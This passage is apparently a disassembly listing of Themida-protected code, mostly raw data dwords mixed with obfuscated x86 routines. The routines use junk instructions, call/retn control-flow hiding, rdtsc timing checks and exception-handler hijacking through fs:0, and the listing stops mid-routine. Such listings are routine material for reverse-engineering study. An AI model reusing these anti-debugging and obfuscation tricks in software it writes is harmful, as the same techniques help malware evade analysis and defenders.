dd 0DA07E119h, 8BA3C381h, 71AC9E63h, 0BBD2h, 5747CF00h
dd 9E7421h, 0A6F81DCAh, 524CC370h, 0FCA26F1Ch, 0F6DD92C6h
dd 0A04D831Bh, 47F42A74h, 0F29FD5C9h, 78477D21h, 20A10420h
dd 69CF07E4h, 0CA96F3B2h, 4730E53Ah, 0E683C82Bh, 2C95EEFFh
dd 3AD278A1h, 0E402221Eh, 0D863BC07h, 4DC2A073h, 349DC651h
dd 0DCC251FEh, 771C2551h, 22724B4Ah, 8E63C6E2h, 38914481h
dd 8E298CA8h, 0FE574481h, 4E1DD758h, 4757B90Eh, 818E78DBh
dd 6099E44h, 7BE40D98h, 0B3EB28D5h, 5B43D07Dh, 0FAA46BD0h
dd 0FAB4DD6Fh, 6BA1FD16h, 30D55BEh, 72E92F8Ah, 0DD468EF2h
dd 35C02952h, 0F96h, 18F94E00h, 7996FB86h, 8719A25h, 5CBBAB62h
dd 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h
dd 0B13C62AFh, 50DBC34Ch, 0E9742AEBh, 85108E84h, 0E0895052h
dd 405h, 4E88300h, 2474FF50h, 48F5804h
; ---------------------------------------------------------------------------
and al, 5Ch
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edi
push ecx
mov ecx, 30632A67h
dec ecx
sub ecx, 2865A9CEh
mov edx, ecx
mov ecx, [esp]
add esp, 4
push esp
mov edi, [esp]
add esp, 4
push 523Dh
mov [esp], edx
add dword ptr [esp], 52A676AFh
pop dword ptr [edi+8]
sub dword ptr [edi+8], 52A676AFh
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_58B334
; ---------------------------------------------------------------------------
pop ss
mov esi, 9BD5618Eh
loc_5BD2E4: ; CODE XREF: Themida_:loc_5BB402j
mov eax, 7FD9E08h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 5, 5Dh, 0A5h
dd 28AF8720h, 0A1335D39h, 0EB635309h, 7CE3B12Dh, 922B875Fh
dd 34274906h, 999FEB05h, 0CE852h, 8EAA0000h, 0B1EFC155h
dd 895680EBh, 8B66278Dh, 800F58D1h, 6, 92E9D981h, 0C0814D82h
dd 6417h, 6860Fh, 0D9810000h, 45D2D1DBh, 4795B5BFh, 0E7EF8138h
dd 0F38477Ch, 0A8Bh, 48E0F00h, 66000000h, 0FF8D1FBBh, 0DE930h
dd 0D2BA0000h, 89139C53h, 99D673A0h, 5E41D68Bh, 0BDEE81F5h
dd 8A4DC715h, 7EC681CEh, 8009CB2Eh, 0C68132DBh, 25318E7Dh
dd 7983D7BBh, 820F5628h, 2, 8FF3B3h, 0ED0FDDBBh, 2E88315h
dd 592FB552h, 0BE84848h, 26000000h, 9C693262h, 52ADA741h
dd 0A3B20D8Eh, 1EF815Ah, 0F000000h, 1585h, 7EBB6600h, 27E9C4h
dd 4EF00000h, 0F00750E4h, 750E44Eh, 8B664EF0h, 0FF79E9D1h
dd 336CFFFFh, 21E24685h, 4EC4C038h, 6B965D70h, 93E10279h
dd 400E9F2h, 0
dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h
dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h
dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch
dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h
dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0)
dd offset dword_55FD48+2B8h
dd offset dword_44B1B4+4E4Ch
dd 0
dd 85E90000h, 0F000012h, 1983h, 14E900h, 0CB2B0000h, 0ECA5251h
dd 0AA1DB747h, 0B24AC47Ch, 63C294CFh, 858BE196h, 7FA0AF5h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 46C35545h
dd 0FC70800h, 1FA2DD8Dh, 8160F9D8h, 0B14467E9h, 559D896Bh
dd 6107FA34h, 4244439h, 6A850Fh, 870F0000h, 1Bh, 15840Fh
dd 10E90000h, 6000000h, 0CD819B71h, 6B8D8548h, 9F52448Eh
dd 83C25299h, 0FA1CC5BDh, 840F0007h, 3Ch, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 14h, 65C35141h, 26F98D89h
dd 9D0907FAh, 7FA28F5h, 3AE2858Dh, 0B50907FAh, 7FA07A1h
dd 8589E0FFh, 7FA2F91h, 515858Bh, 6A07FAh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E97A94C3h
dd 12h, 2D8406A4h, 8AF9A08Fh, 0E0AEBB4Ch, 53678D6h, 39FC267Ah
dd 0F042444h, 3485h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 860F8B77h, 1, 0B585C7F5h
dd 107FDA3h, 89000000h, 0FA0D6985h, 0B5016007h, 7FA2B19h
dd 41E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1B04h, 0C3524200h, 0BA8C62F0h, 5531505Eh, 14830Fh, 8F0F0000h
dd 0Eh, 9E9h, 14984F00h, 31F11A9Bh, 2404h, 1B80000h, 87000000h
dd 0FDA54D85h, 75C00B07h, 65B5FFF6h, 8F07FA06h, 0FDA3AD85h
dd 6A206A07h, 4195FFFFh, 8307FA15h, 0FA1809BDh, 8740007h
dd 95FF006Ah, 7FA1019h, 2C05BD83h, 740107FAh, 80680Dh
dd 0FF6A0000h, 154195FFh, 7E907FAh, 2E000000h, 357E459Ah
dd 6E9F344h, 29000000h, 9E90CDD9h, 56006AC5h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 5C5462A8h
dd 0FE9h, 0BAD56600h, 0D6BF4E6Dh, 48B20D0Dh, 0F0ABB8A0h
dd 6AC02Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 0A56B12C3h, 2D0F671Bh, 548BFC38h, 9D892824h
dd 7FA2E65h, 154D8589h, 8D8907FAh, 7FA062Dh, 3CBEh, 0FDBD8900h
dd 307FA07h, 60242474h, 8BF08B66h, 0B50961D1h, 7FA329Dh
dd 6AAD66h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 0B20722C3h, 240D9531h, 0F6007FAh, 0BF0FC9B7h
dd 440361F6h, 0E9602424h, 8, 545175CAh, 0D47DBAC5h, 12E95061h
dd 7000000h, 0C88C9817h, 0BF65169Dh, 947C5A27h, 3899E579h
dd 24048908h, 0A8D8BA60h, 8B661F6Eh, 408B61D7h, 0C8C0F78h
dd 0E9000000h, 7, 301120D9h, 83B1979Fh, 0FDA3B5BDh, 850F0007h
dd 115h, 2E29B589h, 858907FAh, 7FA2699h, 50525090h, 8E0F52h
dd 0F000000h, 810F31h, 5A000000h, 50310F58h, 0F616052h
dd 8C0F31h, 5A000000h, 50585A58h, 0AE9h, 0A4D7FD00h, 0F1237AB0h
dd 90B02ED8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 2BC35747h, 0F21C25F4h, 0EDD2A429h, 21D58D89h, 448B07FAh
dd 85312C24h, 7FA2DB5h, 158B0F50h, 0E9000000h, 10h, 5E1E9963h
dd 591EDECh, 4E90DDDBh, 0AF7FCCC4h, 6A240489h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 1664C357h, 0A1B5295Eh, 8D07FA11h, 0FD72FF85h, 52006A07h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 0E51ECEDDh, 0BFEA91F8h, 0B58926D2h, 7FA27BDh, 16D9BD01h
dd 0D0FF07FAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 17h, 0A7C35646h, 0F9470679h, 244403F5h, 11B52928h, 8B07FA1Fh
dd 40F81840h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 14h, 53C35646h, 34D59D31h, 858907FAh, 7FDA3B1h, 0AE860h
dd 75A50000h, 2CCB3822h, 0CF030496h, 16E1B589h, 805807FAh
dd 5861A0ECh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 19h, 8FC35343h, 0C5398F9Ch, 9E90Dh, 6E3E0000h, 52A7F016h
dd 8B5D7170h, 6A7870h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 190424h, 53430000h, 0ACB4BDC3h, 838ED918h, 6A1CC6h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 7224AC3h, 5E94AB2h, 9000000h, 3792C7B5h, 50006A96h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 584358F5h, 9369811h, 0FA1185B5h, 1F820F07h, 0F000000h
dd 198Dh, 14E900h, 0FBF80000h, 5DC9FE13h, 0ADBCE135h, 5F0422C9h
dd 22FECA22h, 7C8131B3h, 2424h, 870F1000h, 116h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 7C35343h, 2C214ED7h
dd 8932C424h, 0FA06ED95h, 0AE99007h, 58000000h, 0A090F23h
dd 879237ADh, 66605090h, 6143F3BAh, 10E990h, 748E0000h
dd 0BDF2E84Fh, 9AB52A75h, 0ED5A6E3Ah, 448BA3DFh, 6A2824h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 7461DFC3h, 0CED81118h, 666090F3h, 8B0FCE8Bh, 0Eh, 8E8h
dd 0C93E9900h, 2ECE2D9Dh, 50615F8Eh, 68B0Fh, 60600000h
dd 61616061h, 0BE990h, 6F470000h, 40ABA8F6h, 4DED302Fh
dd 0FF858DABh, 6A07FD72h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 174EC351h, 0ACBB6060h
dd 667232F2h, 8061D68Bh, 896146C1h, 0FA020DBDh, 6AD0FF07h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 0FB6EC356h, 0E2BE23F9h, 17F1BD29h, 6A9607FAh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 411C356h, 1ABC904h, 0FA3139BDh, 24740307h
dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 0FE5EA07Eh, 0FBB2606Eh, 61958961h, 8D07FA1Fh
dd 0FA0F71BDh, 0BE907h, 0CAFD0000h, 3DDDD60Fh, 0E3C92CB4h
dd 98D0995h, 0AD07FA01h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 16h, 0EEC35646h, 5E90A26h, 0EC000000h, 0EA54704Fh
dd 0CE98D29h, 7C8107FAh, 2424h, 870F1000h, 0E9h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 66C35040h, 68A0Fh
dd 8D890000h, 7FA0015h, 7E950h, 0F7130000h, 0D62C0B5Eh
dd 2404896Ch, 24448BFCh, 52006A28h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 9FC2B851h, 25527A09h
dd 49BB6050h, 0E904D4EFh, 0Ch, 0BC41C3D0h, 0A859BC8Dh
dd 2C997174h, 24048961h, 23198D31h, 858D07FAh, 7FD72FFh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C0C35545h
dd 0C03D11D7h, 0EA6E8A53h, 0D0FFF506h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Dh, 28C35646h, 0EC737686h, 3ECB12B0h
dd 0E860F0Bh, 60000000h, 8A0Fh, 8D890000h, 7FA16F5h
dd 24440361h, 399D3124h, 0AB07FA2Ch, 28A0F60h, 8B000000h
dd 0FE8D0h, 0E5FB0000h, 0B5BE2C33h, 588B3BD6h, 44374F89h
dd 13E8F5h, 0C68D0000h, 5BE1FAE9h, 0C889EB88h, 9335F770h
dd 0A5D607C6h, 615E5818h, 0FA81h, 820F0001h, 856h, 6870Fh
dd 85890000h, 7FA2829h, 275DBD8Dh, 6A07FAh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 67AAD6C3h
dd 0BB62964h, 95897944h, 7FA316Dh, 52006AADh, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 6BB97AE6h
dd 7E41753Ah, 8589B119h, 7FA2949h, 0D0F08160h, 0F04ECBDh
dd 288h, 616EB100h, 24247C81h, 10000000h, 0E8870Fh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
dd 54A250C3h, 98D891Ch, 5007FA15h, 128F0Fh, 52500000h
dd 310F5250h, 310F585Ah, 8D0Fh, 585A0000h, 60240489h, 20EDBD0Bh
dd 8B6107FAh, 6A282444h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 15042444h, 43000000h, 4803C353h, 27ED8D09h
dd 505007FAh, 0DE952h, 0DB410000h, 0A7C8E699h, 32943FFAh
dd 0F15FF7Bh, 2800F31h, 60000000h, 89585A61h, 6A2404h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 24650DC3h, 72FF858Dh, 0FFF807FDh, 51006AD0h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0FCF2A1FAh
dd 8E9h, 346E2C00h, 9976BCF4h, 4403FCEBh, 6A2424h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 7349FFC3h, 9793F4A9h, 60BFE945h, 231DBD8Bh, 0B58907FAh
dd 7FA10A1h, 0DE99061h, 83000000h, 147BD130h, 853425DCh
dd 84A50AF1h, 12860F50h, 60000000h, 3E83B866h, 6E8h, 514CA800h
dd 5B43F36Dh, 0ABFC9061h, 23F5B531h, 0BD8D07FAh, 7FA27D5h
dd 0BE960h, 0B3310000h, 1589CE0Eh, 0C4176339h, 0F1B58987h
dd 6107FA0Ch, 0F9B589ADh, 8107FA27h, 28247Ch, 0F100000h
dd 14787h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1B04h, 0C3564600h, 0BE071E60h, 67B9CEFEh, 0D98B6050h
dd 89610CB3h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 89F50CC3h, 0FA29B1B5h, 24448B07h
dd 57006A2Ch, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 810F233Fh, 0Ch, 6870Fh, 85890000h, 7FA0BE1h
dd 14819D89h, 505007FAh, 50525052h, 5A310F52h, 0E9310F58h
dd 9, 0D1878980h, 0F15DED00h, 0F585AF2h, 60525031h, 0E9310F61h
dd 13h, 61BD4696h, 15AD506Ah, 6D446F45h, 43A3F628h, 5AE0F735h
dd 89585A58h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 352F2BC3h, 0B523603Bh, 7FA29E5h
dd 1BE1BD8Bh, 8D6107FAh, 0FD72FF85h, 0EE907h, 0A99B0000h
dd 0A4AD790Ch, 0C272D4D6h, 4E341821h, 6AD0FFh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 99B6F7C3h, 0C8E0FABh, 0E9000000h, 7, 0C1164CFh, 0F5B7C0C1h
dd 28244403h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ch, 21C35545h, 0E95150BEh, 1C26E8C3h, 0DE9h, 42515B00h
dd 0E395A8B0h, 0B9534581h, 0ABF93572h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ch, 75C35545h, 8BD1A0F7h, 996B760Eh
dd 18890Fh, 13E90000h, 8A000000h, 0CCF348DBh, 0FDE3F1FCh
dd 749BFE55h, 5793B41Ah, 0FF5E6C5Ch, 0FDA3B18Dh, 0B1BD8307h
dd 7FDA3h, 0C0330A75h, 0B3B5B58Dh, 0E6FF07FDh, 7C81AD56h
dd 2824h, 0E771000h, 24448B50h, 858D502Ch, 7FD72FFh, 4403D0FFh
dd 8B972824h, 0AD858ADFh, 8407FDA3h, 3A0474C0h, 574C7507h
dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h
dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h
dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h, 0D2F7D575h
dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h, 0FF04C683h
dd 0FA154D85h, 0FF5DE907h, 0E95EFFFFh, 14h, 0ED27A852h
dd 0CAD85D2Ah, 2973C91Ch, 0C61495BBh, 9BEEDF42h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0AFC35040h, 0E5C68160h
dd 91198EDh, 0FA0E8D8Dh, 29606107h, 0FA2D4595h, 10E907h
dd 12B40000h, 81B91087h, 431F5343h, 0F38B24D1h, 8B615F21h
dd 0FA154D85h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 0BF0F60EEh, 0FE8F6h, 58E0000h
dd 429BDC42h, 36BE0F22h, 0C819B733h, 159D89E0h, 5B07FA0Bh
dd 6AE0D161h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 15042444h, 43000000h, 8143C353h, 27D58503h, 852907FAh
dd 7FA0A71h, 14E9h, 1C4D4400h, 0DA477B9Ah, 9D5E314Bh, 3EDF125Ch
dd 7E7AED37h, 60F62B9Ch, 6175CF80h, 55006A96h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0A27B9719h
dd 296B11DDh, 0FA1C6185h, 12E907h, 11540000h, 0BED63E1Ch
dd 84C446BFh, 6060F13Bh, 1E63CAF9h, 6AAD66h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 160424h, 57470000h, 6E0D71C3h
dd 59D0160h, 3307FA26h, 0FA0A699Dh, 0E0C16107h, 50006A02h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 3ADBCCE0h, 5E9C5h, 2A7E0000h, 0FCE5F80h, 888h, 2870F00h
dd 60000000h, 71850361h, 0F907FA0Fh, 15840F96h, 0E9000000h
dd 10h, 2ED4E2EBh, 6A3BC7B4h, 4B5EB7F2h, 54FEA495h, 7C81F5ADh
dd 2424h, 870F1000h, 15Eh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 18h, 7EC35141h, 0F6C85FAAh, 525090F8h, 11E9h
dd 0A6CE1500h, 0E84DD8h, 16E60F5Ah, 0F1DE1F38h, 310FEE0Dh
dd 28B0Fh, 61600000h, 0E950585Ah, 14h, 9804750Fh, 0D07FA7B3h
dd 0EBBDE01Bh, 0C9FB1E6Ch, 5E581A90h, 52006A90h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 36B301Dh, 8A086D24h, 896060FCh, 0FA0F459Dh, 12E907h
dd 9EA90000h, 0FC94113Ch, 0C59F6EF9h, 0E7AA5693h, 7B7A9895h
dd 0D8B70F61h, 24448B61h, 0BF0F6028h, 0C18166DFh, 90612D2Ah
dd 8E0F5250h, 6, 310F5250h, 310F585Ah, 108B0Fh, 0BE90000h
dd 81000000h, 67EEF362h, 7663E2A8h, 585AE376h, 0D880F50h
dd 0E9000000h, 8, 5D6186ADh, 6359D99Dh, 56006A90h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 0B589C578h, 7FA349Dh, 72FF858Dh, 6A07FDh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 140424h, 56460000h, 11E9E2C3h
dd 1C000000h, 150450CBh, 9A9B9456h, 61081AA0h, 8F054DCFh
dd 9D89D0FFh, 7FA06A9h, 20199589h, 440307FAh, 66602424h
dd 8B0177BAh, 0FA1BC9BDh, 44896107h
dd 6A1C24h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 5296D2C3h, 6425709h, 893C7E1Ah, 0FA257595h
dd 6585C607h, 7FA06h, 0A54D85C7h, 7FDh, 85C70000h, 7FDA3B5h
dd 0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5BE84B
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE84B proc near ; CODE XREF: Themida_:005BE843p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5BE84B endp
; ---------------------------------------------------------------------------
db 5Eh
dd 0D5438399h, 0F954D275h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 5FC35242h, 3281A6B9h, 8942C0C6h, 0FA291195h
dd 2961F507h, 0FA1CB985h, 8C207h, 28FD9589h, 858B07FAh
dd 7FA0F71h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 0ACC35141h, 5E9D9h, 0E22A0000h, 4A19F89Dh, 9E9h
dd 5CF7D100h, 4B38A20Ch, 0D26B71DFh, 0C203F904h, 16618531h
dd 6A9607FAh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 60AEC351h, 0E8EEE881h, 0F78179EEh
dd 3562B174h, 6AAD61h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 331288C3h, 88F68F53h, 6A19589h
dd 7C8107FAh, 2424h, 870F1000h, 100h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 49C35141h, 0ED19531h, 850907FAh
dd 7FA08CDh, 0F525050h, 680h, 0F525000h, 0F585A31h, 28C0F31h
dd 60000000h, 89585A61h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 9DA013C3h, 790434BEh
dd 6880FF5h, 89000000h, 0FA0FAD9Dh, 24448B07h, 598D3128h
dd 5007FA23h, 13E9h, 9259F600h, 0F62A3C69h, 33DA9F3Dh
dd 0CD8C6B9Bh, 0E4BDDB25h, 6A240489h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 417C357h
dd 0FF858DFCh, 6A07FD72h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1B042444h, 40000000h, 0FC2DC350h, 0EA309640h
dd 0BD8907E8h, 7FA0B15h, 11E9D0FFh, 62000000h, 284ABAE0h
dd 3DE9E3BDh, 8D3138A8h, 166B355Fh, 0FFFD99E9h, 57006AFFh
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
dd 0AA5B9B83h, 850F5F8Ah, 10h, 0BE9h, 0E92E4300h, 0D7807252h
dd 0A1E670D1h, 0B959858Dh, 890F07FDh, 7, 1870Fh, 50F90000h
dd 0E8605250h, 0Ah, 0F58D17A2h, 51D85A4Bh, 0BE5ACD21h
dd 4A50368Dh, 60310F61h, 525077B2h, 585A310Fh, 89585A61h
dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
dd 51410000h, 6660E3C3h, 8104FABAh, 0A49FAED2h, 9D89610Fh
dd 7FA34C9h, 35FF64h, 0F000000h, 0C87h, 68D0F00h, 89000000h
dd 0FA0E658Dh, 0C1BD0107h, 8B07FA0Eh, 89F92404h, 0FA0E9185h
dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h
dd 0C3554500h, 0F53A2AF8h, 258964h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 0A2D2C355h, 0F09435CEh, 898AB260h, 0FA0F9DBDh, 858D6107h
dd 7FDB780h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 0F1C35747h, 1DF5B4Eh, 8934611Fh, 0FA202D9Dh, 1608907h
dd 2D858589h, 20E907FAh, 31000002h, 0FA10BD8Dh, 79852907h
dd 8B07FA0Ah, 0E8DBh, 815D0000h, 0FDB779EDh, 0FF9CBC07h
dd 0BD830012h, 7FA2C05h, 8B187400h, 0FA161585h, 0C607h
dd 17D1858Bh, 0C607FAh, 0BD95FF00h, 6007FA0Eh, 9FB9B5FFh
dd 858D07FDh, 7FD9FBDh, 0B5858D50h, 5007FDA1h, 0DC595FFh
dd 0C48307FAh, 6A610Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 60C0D3C3h, 2880Fh, 61600000h, 5830Fh
dd 81660000h, 61FF2DF7h, 0AE9h, 6238A300h, 0B08CE0C4h
dd 6ADD55F2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 16042444h, 41000000h, 7CD4C351h, 0AE94Eh, 271B0000h
dd 124FBEE6h, 0CC5CB780h, 0A1B5B58Dh, 16007FDh, 0FA1F099Dh
dd 0C38B6607h, 11BD8D61h, 6A07FA03h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 1B73C352h
dd 5B6F6265h, 798D2960h, 0B807FA2Ch, 65E441D4h, 3E8061h
dd 47840Fh, 0E8600000h, 0Eh, 0F12EFB45h, 9387ABFDh, 2259E618h
dd 0B8662834h, 665B6722h, 0A203E681h, 9E9A461h, 9B000000h
dd 1876FDCAh, 0E8E54E73h, 0FFFFC4E9h, 19B589FFh, 6007FA2Eh
dd 0FF0B70Fh, 380h, 0C6BF0F00h, 0FC02B61h, 0C87h, 6860F00h
dd 9000000h, 0FA0F69BDh, 8E0FAA07h, 6, 30BDB501h, 7B807FAh
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 0BCC5C355h, 6E951h, 0F7DF0000h
dd 81D6CB0Ah, 0D85C7h, 107FAh, 0BD290000h, 7FA0B4Dh, 4F668D8Dh
dd 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 899753C3h, 0FA2BF5B5h, 0F8E1FF07h, 15658D31h
dd 5C8B07FAh, 0E8550C24h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7FDB963h
mov eax, [ebx+0B8h]
mov [ebp+7FD9FB9h], eax
lea eax, [ebp+7FDB772h]
mov [ebx+0B8h], eax
pop ebp
xor eax, eax
retn
; ---------------------------------------------------------------------------
jo loc_5BEDD9
jg loc_5BEDD9
mov [ebp+7FA0055h], ecx
loc_5BEDD9: ; CODE XREF: Themida_:005BEDC7j
; Themida_:005BEDCDj
push 0
push ebx
call sub_5BEDE4
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BEDE4 proc near ; CODE XREF: Themida_:005BEDDCp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5BEDE4 endp
; ---------------------------------------------------------------------------
cli
mov [ebp+7FA2F35h], edx
pusha
pusha
mov edx, edi
mov si, ax
popa
lea eax, [ebp+7FDBB7Eh]
push 0
push ecx
call sub_5BEE14
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BEE14 proc near ; CODE XREF: Themida_:005BEE0Cp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5BEE14 endp
; ---------------------------------------------------------------------------
xchg eax, esp
inc edx
adc eax, 0F8CD3804h
nop
pusha
mov bx, ax
jmp loc_5BEE45
; ---------------------------------------------------------------------------
db 1Ch, 48h, 0FAh
dd 0A382257Ah, 95E2B26Fh, 5BCD9275h
db 0D4h
; ---------------------------------------------------------------------------
loc_5BEE45: ; CODE XREF: Themida_:005BEE30j
popa
push eax
jge loc_5BEE65
push eax
push edx
pusha
popa
rdtsc
jmp loc_5BEE63
; ---------------------------------------------------------------------------
dd 0DEBF06A1h, 0EDB29091h
db 0C7h, 1Ah, 5
; ---------------------------------------------------------------------------
loc_5BEE63: ; CODE XREF: Themida_:005BEE53j
pop edx
pop eax
loc_5BEE65: ; CODE XREF: Themida_:005BEE47j
nop
jmp loc_5BEE73
; ---------------------------------------------------------------------------
db 4Ch
; ---------------------------------------------------------------------------
mov dl, 0D1h
add eax, 1183871Bh
loc_5BEE73: ; CODE XREF: Themida_:005BEE66j
push large dword ptr fs:0
push 0
push eax
call sub_5BEE85
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BEE85 proc near ; CODE XREF: Themida_:005BEE7Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5BEE85 endp
; ---------------------------------------------------------------------------
pop ebp
mov ebp, edx
mov cl, 64h
mov large ds:0, esp
or [ebp+7FA2F01h], eax
mov [ebp+7FA2A39h], eax
lea eax, [ebp+7FDBBDCh]
push 0
push edi
call sub_5BEEBD
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BEEBD proc near ; CODE XREF: Themida_:005BEEB5p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_5BEEBD endp
; ---------------------------------------------------------------------------
dec edi
fisub word ptr [ecx-7]
mov [eax+1], esp
push 0
push edx
